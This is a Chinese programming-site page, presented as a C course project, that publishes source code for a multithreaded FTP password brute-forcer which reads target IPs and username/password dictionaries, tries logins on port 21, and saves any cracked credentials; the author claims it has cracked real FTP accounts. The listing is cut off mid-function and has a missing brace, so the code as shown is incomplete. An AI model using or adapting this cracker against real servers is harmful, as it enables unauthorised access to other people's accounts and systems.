您现在的位置:计算机技术学习网 > 技术中心 > 编程开发 > C >

c语言课程设计_探测FTP密码的程序源码

来源:不详 责任编辑:栏目编辑 发表时间:2013-07-01 18:24 点击:

这个程序是用来进行暴力破解的,只需在命令行下输入:

ftp ip.txt 100

其中ip.txt为你要探测的ftp服务器的ip地址,每一行一个ip地址!100为你想要开的线程数!

而其中的必需有两个文件,ftp_user.txt,ftp_pass.txt,跟这段代码生成的可执行程序放在同一个目录下,以上的ip.txt也要放在同一个目录下!只要ftp_user.txt,ftp_pass.txt这两个字典选得好,不长的时间就可以将密码探测出来!本来这段代码是没有把探测出来的密码保存的,我加了几句,可以将用户名和密码都保存下来,分别在同一个目录下的user.txt,和ftp.txt中!

以下的源码在VC6.0下编译通过!!!并曾正确破译出ftp的用户名和密码!

//////////////////////////////////////////////////////////
//描述:从指定文件读入IP地址和帐号密码,猜测ftp服务器密码
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#pragma comment(lib,"ws2_32.lib")
#define PORT 21
#define VERSION 0.1.2
#define LEN sizeof(struct FILEDATA)
/////////////////////////////////////////////////////////

//定义全局变量

/////////////////////////////////////////////////////////
struct FILEDATA//存放帐号和密码的链表结构体
{
char dataLine[64];
struct FILEDATA *next;
};
struct SCANPAR//传递给Scan函数的参数结构体
{
struct FILEDATA *userHead;//帐号链表的头地址
struct FILEDATA *passHead;//密码链表的头地址
char ipNow[16];//要扫描的扫描的IP
};
int currentThread = 0;//当前活动线程
int maxThread = 0;//最大线程数量
char ipFile[48] = { 0 };//IP列表文件名
char *passFlag = "230";
char *userFlag = "331";
/////////////////////////////////////////////////////////
//定义函数原形
/////////////////////////////////////////////////////////
void GetPar(int , char **);//检查命令行参数
void Help(char *);//输出帮助函数
void WatchThread(void);//检测活动线程是否达到最大
void Wait2Quit(void);//等待所有线程退出函数
int WINAPI Scan(LPVOID);//处理帐号密码字典
void Crack(char * , char * , char *);//破解密码函数
struct FILEDATA *ReadDic2Memory(char *);//将帐号字典密码字典读入内存,存入链表
//////////////////////////////////////////////////////////
//主函数,程序入口
//////////////////////////////////////////////////////////
int main( int argc , char *argv[] )
{
DWORD threadID = 1;
HANDLE threadHandle = NULL;
FILE *fpIP = NULL;
WSADATA wsaData;
struct SCANPAR scanPar;
char fileName[48] = { 0 };
//检查并获取命令行参数
GetPar( argc , argv );
if( WSAStartup(MAKEWORD(2,2),&wsaData) != 0 )
{
printf( "载入Winsock失败...\n" );
return -1;


//打开IP列表文件
fpIP = fopen( ipFile , "r" );
if( fpIP == NULL )
{
printf( "打开IP列表文件失败...\n" );
return -1;
}

strcpy( fileName , "ftp_user.txt" );
scanPar.userHead = ReadDic2Memory( fileName );//将帐号读入内存
memset( fileName , 0 , sizeof(fileName) );
strcpy( fileName , "ftp_pass.txt" );
scanPar.passHead = ReadDic2Memory( fileName );//将密码读入内存
while( !feof(fpIP) )
{
fscanf( fpIP , "%s" , scanPar.ipNow );
 WatchThread();
 Sleep(20);
//生成新线程
threadHandle = CreateThread( NULL , 0 , (LPTHREAD_START_ROUTINE)Scan , (LPVOID)(&scanPar) , 0 , &threadID );
if( threadHandle != NULL )
{
CloseHandle(threadHandle);
currentThread ++;
threadID ++;
}
}
Wait2Quit();
fclose(fpIP);
WSACleanup();
return 0;
}
 int WINAPI Scan(LPVOID par)
{
struct SCANPAR *scan_Par = (struct SCANPAR *)par;
struct FILEDATA *pUser = scan_Par->userHead;
struct FILEDATA *pPass = scan_Par->passHead;
while( pUser != NULL )
{
if( pPass == NULL )
{
pPass = scan_Par->p

    发表评论
    请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
    用户名: 验证码:点击我更换图片
    最新评论 更多>>

    推荐热点

    • Glib实例学习(2)双链表
    • C程序员要学C++吗?
    • C++中实现Singleton的正确方法
    • 编程思维训练(一)
    • 【编程好习惯】引入中间变量使程序更易读
    • 在C++中通过模板规避潜在错误
    • 在C++中通过模板去除强制转换
    • 【编程好习惯】减少搜索头文件的目录数
    网站首页 - 友情链接 - 网站地图 - TAG标签 - RSS订阅 - 内容搜索
    Copyright © 2008-2015 计算机技术学习交流网. 版权所有

    豫ICP备11007008号-1